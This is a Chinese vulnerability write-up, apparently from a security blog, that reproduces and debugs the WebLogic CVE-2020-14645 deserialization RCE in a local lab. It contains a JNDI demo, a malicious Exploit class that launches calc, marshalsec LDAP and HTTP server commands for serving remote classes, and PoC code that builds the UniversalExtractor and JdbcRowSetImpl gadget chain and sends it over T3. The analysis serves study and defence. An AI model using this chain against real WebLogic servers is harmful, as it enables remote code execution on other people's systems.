CVE-2020-14645——WebLogic反序列化

360安全客 安全知识 14691 4

 

一、原理

（一）概述

Weblogic 的反序列化RCE漏洞 CVE-2020-14645，是对 CVE-2020-2883的补丁进行绕过。

CVE-2020-2555和CVE-2020-2883本质上是通过ReflectionExtractor调用任意方法，从而实现调用Runtime对象的exec方法来执行任意命令，为了“斩草除根”，CVE-2020-2883补丁将ReflectionExtractor列入黑名单。

（二）CVE-2020-14645

CVE-2020-2883可以通过 ReflectionExtractor 调用任意方法，因而补丁依然选择将ReflectionExtractor这一可被利用的类列入黑名单。

大牛发现，UniversalExtractor 任意调用 get、is方法也可导致可利用的 JDNI 远程动态类加载。于是他们放弃ReflectionExtractor，配合JNDI注入，使用UniversalExtractor来重新构造一条利用链。


UniversalExtractor 是 Weblogic 12.2.1.4.0 版本中独有的，环境搭建时要注意这一点。

（三）原理

1.工具

这里起LDAP服务用到了一个工具marshallsec（当然自己起也没有问题），下载链接

maven下载

新建环境变量MAVEN_HOME，赋值C:\XXXX\maven，编辑环境变量Path，追加%MAVEN_HOME%\bin\;

cmd检查一下mvn是否安装成功：

mvn -v

使用java8编译。

mvn clean package -DskipTests

2.原理

个人感觉JNDI注入这一方法和RMI攻击具有比较高的相似性，都是让victim向攻击者控制的远程服务器发起请求，远程服务器返回内容，流程上甚至可以用同一幅图，

1.攻击者向其控制的Naming/Directory服务上绑定一个恶意对象。

2.攻击者向有漏洞的JDNI lookup方法发送恶意URL（ip为恶意N/D，且指向绑定的恶意对象）。

3.Victim执行lookup。

4.Victim向攻击者控制的N/D服务器发起查询，N/D返回恶意对象。

5.Victim反序列化恶意对象，触发RCE。

JNDI（全称Java Naming and Directory Interface）是用于目录服务的Java API，它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与与主机系统接口的所有Java api一样，JNDI独立于底层实现。此外，它指定了一个服务提供者接口(SPI)，该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供，选择取决于所使用的实现。

个人理解，JNDI注入简单来说，就是在victim在执行lookup(URI)时，如果URI是恶意的，那么victim就会被攻击，所以JDNI最难的就是如何让victim来lookup我们构造的URI。

下面我们以一个常见的demo来简单演示JNDI攻击过程，

先是JNDIServer，

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference Exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:7077/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(Exploit);
        registry.bind("Exploit", refObjWrapper);

    }
}

再是JNDIClient，

package JNDI;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Properties;

public class JNDIClient {
    public static void main(String[] args) throws NamingException {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,
                "rmi://127.0.0.1:7099/");

        Context ctx = new InitialContext(env);
        //ctx.lookup("Exploit");
        //ctx.lookup("rmi://127.0.0.1:1099/Exploit");
        ctx.lookup("ldap://127.0.0.1:7099/Exploit");
    }
}

然后是我们要注册的恶意类，此处是Exploit，

import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class Exploit implements ObjectFactory {
    public Exploit() {
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }

    static {
        try {
            String[] cmd = new String[]{"calc"};
            Runtime.getRuntime().exec(cmd);
        } catch (Exception var1) {
            var1.printStackTrace();
        }

    }
}

接下来编译Exploit，并将class文件放在httpserver根目录下，而不是out目录下（如此则效果不对），

启动server，

启动JNDIServer,

启动JNDIClient，

我们跟进调试一下触发的过程，

最终的调用栈，

我们从底到顶看看运行流程，

下面的几个lookup主要是用于建立连接，

更重要的还是在上面的几步，

先看decodeObject，

这一部分从服务端返回的ReferenceWrapper_Stub中get出Reference，

接下来的getObjectInstance中通过Reference获取Factory的实例，

至于是怎么获得的，需要我们跟进到最顶的函数getObjectFactoryFromReference，

关键代码:

 // Try to use current class loader
        try {
             clas = helper.loadClass(factoryName);
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.

        // Not in class path; try to use codebase
        String codebase;
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                clas = helper.loadClass(factoryName, codebase);
            } catch (ClassNotFoundException e) {
            }
        }

从注释中我们也可以看出，这一部分先尝试从本地load class，如果失败（clas 为 null）无需做异常处理，改为从codebase中load class，

这里我们的class是恶意类，本地一般不会有，所以还是要从codebase中load，

再向下运行一步，就会弹出计算器，

如果上面从这个点跟进loadClass，又能看到更细致的内容，

步入forName，

再向深跟几步，

这里开始正式加载class，

此时的部分调用栈，

此时即将执行命令calc，

下面将加载许多系统类，

个人感觉到这里就可以了，再向下也没有什么信息，还是load system 类 class的相关操作。

Exploit类加载完成，

和主体无关的话：跟了挺久之后才发现其实在Exploit里面下断就可以得到想要的调用栈和点了，不需要憨憨一样深入的跟，

这一小节我们看到，只要一个合适的lookup()，即可弹出计算器。lookup之前这里是写好了的，lookup之后有系统调用帮我们完成。当然我们其实是省去了最难的lookup之前这一部分，亦即让victim向JNDI server发起请求，这一部分的实现我们将在调试环节详细演示。

 

二、调试

（一）环境搭建

鉴于漏洞用到的UniversalExtractor是WebLogic 12.2.1.4.0所特有的，而vulhub\weblogic均是10.3.6版本的，搭建相应的docker也需要下载相应的jar，不如直接搭在本机上，

搭建过程中踩了几个小坑，主要的原因就是JDK的版本比较多，环境变量和Oracle的设定不统一，如遇这种情况可以把Path里的%JAVA_HOME\bin提到最前面。

另外，根据查到的资料，建议使用JDK8中版本较低的（191以下），否则可能会出现类似于下面这样配置上的错误（比如1.8.0.151可以去华为镜像下载）

以管理员权限启动cmd，切换到jdk_xxxx\bin 目录运行命令，

即可进入安装，

下面的安装环节比较简单，

安装完成后配置域，

配置完成后启动，

查看界面，http://127.0.0.1:7001/console

成功。

配置调试环境与之前类似，可以参考Windows调试WebLogic。

调试环境中会用到的lib是coherence。

（二）复现

这里复现难度不大，网上有很多可用的PoC，只要起了httpServer和LDAP Server，发PoC即可，

将恶意class文件放在httpserver根目录，先起Httpserver，跟上面一样即可，比较简单了，

py -3 -m http.server 7077

再起LDAPserver，可以像demo里那样自己起，也可以用工具，

比如marshallsec，

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7077/#Exploit 7099

marshalsec-0.0.3-SNAPSHOT-all.jar为我们编译好的jar文件，marshalsec.jndi.LDAPRefServer 意为我们起的是LDAPServer（另一种即RMIServer），http://127.0.0.1:7077/#Exploit为codebase(http server)，7099即监听的LDAP端口。

运行PoC即可，

（三）调试

1.概况

先简单看下marshallsec的LDAPServer的运作流程，其中有比较多的底层的操作，只稍作跟踪，

作为Server，必然有监听的功能，建立与Client 的连接，

准备LDAPMessage，

接下来的部分才是本篇重点，针对让victim发起lookup查询的过程。

最终能实现的效果，lookup(可控的URI)，

先上调用栈，

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extractComplex:432, UniversalExtractor (com.tangosol.util.extractor)
extract:175, UniversalExtractor (com.tangosol.util.extractor)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1158, ObjectStreamClass (java.io)
readSerialData:2173, ObjectInputStream (java.io)
readOrdinaryObject:2064, ObjectInputStream (java.io)
readObject0:1568, ObjectInputStream (java.io)
readObject:428, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

2.JdbcRowSetImpl部分

我们看到，JdbcRowSetImpl的connect函数有可能能够传可控的参数并调用lookup，下面我们分析一下，假设有一个函数调用了connect()，如何才能顺利调用其中的lookup，

首先一点就是要保证这是首次连接，只有这样才能保证进入else if{}中，其次就是this.getDataSourceName()不为null，接下来我们跟踪看看getDataSourceName()，

dataSource是private变量，是可控的，

这一部分在PoC中有所体现，

JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://127.0.0.1:7199/Exploit");

下面一个问题就是，怎么调用connect，

这里有三个函数prepare, getDatabaseMetaData，setAutoCommit，

都看一下，

眼拙，感觉都可以，因为都可以做到首次连接。

PoC里用的是getDatabaseMetaData，到此，我们看看PoC对应的代码，

UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://127.0.0.1:7199/Exploit");

第一行构造UniversalExtract对象（参数的设计在下面解释），用于调用JdbcRowSetImpl对象的方法，第三四行就按照我们需要的：控制dataSourceName，第二行放在下面一起解释。

3.UniversalExtractor部分

（1）UniversalExtractor.findMethod()部分

接下来我们关注如何能让UniversalExtractor顺利调用JdbcRowSetImpl的getDatabaseMetaData()。

在UniversalExtractor.extractComplex()末尾有method.invoke()，

这一行关键代码涉及3个元素，

我们不仅要保证能运行到这一行，还要保证运行到这的时候这3个元素都是我们需要的那样（见上），

这就需要好好分析一下extractComplex的运行流程，

aoParam是可控的，直接在构造函数中写即可，

oTarget是extractComplex的参数，而且传进来之后没有做任何改动，我们需要它是JdbcRowSetImpl对象，这里我们先假设这个参数是我们可控的。

所以这里的问题就是，怎样控制method为com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()，

经过观察，我们可以得知，method主要与这几行代码有关，

这就促使我们去分析findMethod，

可以看出，在红框的那一行代码中，返回了clz.getMethod()，clz就是oTarget，sName是传的参数，

在假设了oTarget为JdbcRowSetImpl的前提下，我们需要关注三个点：sName、aclzParam和怎么进入这个if语句。

先看怎么进入这个if{}，

首先传进来的fStatic为false，可以不看，fExactMatch虽然初值为true，然可能会经过for()循环中的if{}被改为false，

所以我们要设计一下，使运行流程不改变fExactMatch，最容易想到的就是令aclzParam为空数组，

这就得分析一下aclzParam是怎么来的，

分析extractComplex，

我们可以看到，是从getClassArray得来的，

这里将传入的参数aoParam设为null即可，这样的话aclzParam的值和怎么进入if这两个问题就解决了，还差一个sName的设定，这里我们想使sName为getDatabaseMetaData，

（2）杂项部分

观察这几行代码，

显然我们有两条似乎可行的路，一是令fProperty为true，通过一些拼接操作获得sName；二是令其为false，通过getMethodName()获得sName。

PoC在这里选择了第一条路，我们分析下，

fProperty为true时，sCName的首字母会被改为大写，赋值给sBeanAttribute，

然后会在for循环里依次拼接上BEAN_ACCESSOR_PREFIXES的元素，

最巧妙的是这个数组里的第一个元素就为”get”，若是拼接上首字母转为大写的DatabaseMetaData正好是getDatabaseMetaData，

这里又面临着两个问题，一是如何让sCName为databaseMetaData，二是让如何让fProperty为true，这两个点缺一不可。

先看sCName的来源，

跟进之，

先跟进lambdas的这个函数，其参数为写死的this，

此处的oLambda为写死的this，故而if判断的结果也是确定的，因而必会返回null。

接下来要关注的就是这一步，

不知是什么，跟进吧，

前面我们分析得知，aoParam要为null，所以第一个if就不看了，而sName后面传给findMethod时要拼接上get或is，else if这里也是不行的，所以我们要关注else，

我们看这里，如果sName的前缀是get或is，会被去掉前缀然后返回，某种程度上说这和传给findMethod时添加get或is前缀正负相消，可以控制sName为”getDatabaseMetaData()”，这样就能进入else，并且去掉get前缀，在传给findMethod时再加上。

另一个问题是fProperty的问题，跟进isPropertyExtractor()方法，

我们看到，m_fMethod是tramsient类型的，这类变量是无法反序列化的，没法以字节流的格式直接传过去，

这一段也不知为什么，找usage也找不到，只能手动寻找，这里找到init()，

init()只在有参构造函数中被调用，对于改变m_fMethod的值是没有用的，

但mfMethod作为transient变量，不会被反序列化，构造时若无其他操作则是使用默认值，对于boolean变量来说是false，参见[参考链接][https://blog.csdn.net/Todo/article/details/52183662]

4.Queue部分

这个问题解决了，就该验证我们的假设是否成立，即oTarget是不是我们可控的，

PriorityQueue作为一个反序列化利用基类，我们从它的readObject开始，

这里正常读取字节流，并将s.readObject()赋值给queue[i]，

跟进heapify(),

这里取一半调用siftDown，要想进入siftDown，则长度至少为2，

跟进siftDown，

这里涉及到comparator，我们查看其来源，

发现其可以由构造函数设定，另外queue也可以在构造函数中被初始化，

这就好说一些了，

跟进siftDownUsingComparator，

可以看出，必会走comparator.compare()，跟进之，

现在我们知道，o1和o2是我们可控的JdbcRowSetImpl，而且会走(Comparable)this.m_extractor.extract(o1)这一步，

先看下m_extractor的来源，

是可以在构造函数里设定的，

在PoC中，我们跟进，

final ExtractorComparator comparator = new ExtractorComparator(extractor);

可见，

所以m_extractor为我们构造好的UniversalExtractor，跟进其内extract，观察能否和我们设计好的extractComplex连上，

我们看到，确实有extractComplex，下面分析运行流程，

首先进入第一个else是必然的，能否进入第二个else则和targetPrev有关，

这也是一个transient类型，而且没有做初始化。

因之，其默认值是null，可以进入第二个else，

接下来就进入了我们前面设计好情境的extractComplex，

对应PoC代码，

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

Object[] q = new Object[]{rowSet, rowSet};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);
byte[] payload = Serializables.serialize(queue);
T3ProtocolOperation.send("127.0.0.1", "7001", payload);

至此分析完毕。

 

三、收获与启示

首先最大的感受就是调试难度很大，这是我在学习上花费时间最长的一个CVE。难度一方面体现在感受整个链路是怎么设计的，另一方面体现在分析几个变量的值是怎么来的，进而怎么让流程按照我们想要的走向前进的。

为了便于解决这个问题，我已经将整个链路按照每一部分的主角类分了段，但每一段内关于变量的值和走向问题又能分出几个部分。另外，这个链条与之前的CVE-2015-4852相比差异已经很大了，可以说已经发展到了另一个形态。

大体调完WebLogic的这一系列漏洞，我对其间绕过的认识是：恶意对象是有限的，所以绕过基于换反序列化点。

具体说来：

CVE-2015-4852是直接在常规读取点进行恶意类的反序列化；

黑名单禁止在常规读取点反序列化恶意类之后，CVE-2016-3510和CVE-2016-0638找到了具有反序列化自身成员变量的类，将恶意对象的反序列化的点转移到了这些类的内部；

当黑名单封禁了这些类之后，CVE-2017-3248通过RMI发送看似无害的payload，让victim向远程JRMP Server发起请求，而JRMP Server的返回值不再是一个正常的Lease，而是一个恶意的对象，这就将反序列化点转移到了DGC层面；

JNDI注入又将反序列化的点换到了JNDI的层面，在demo里我们也看到了，一个lookup()可以直接加载远程恶意类，和之前的点又不一样。

（完）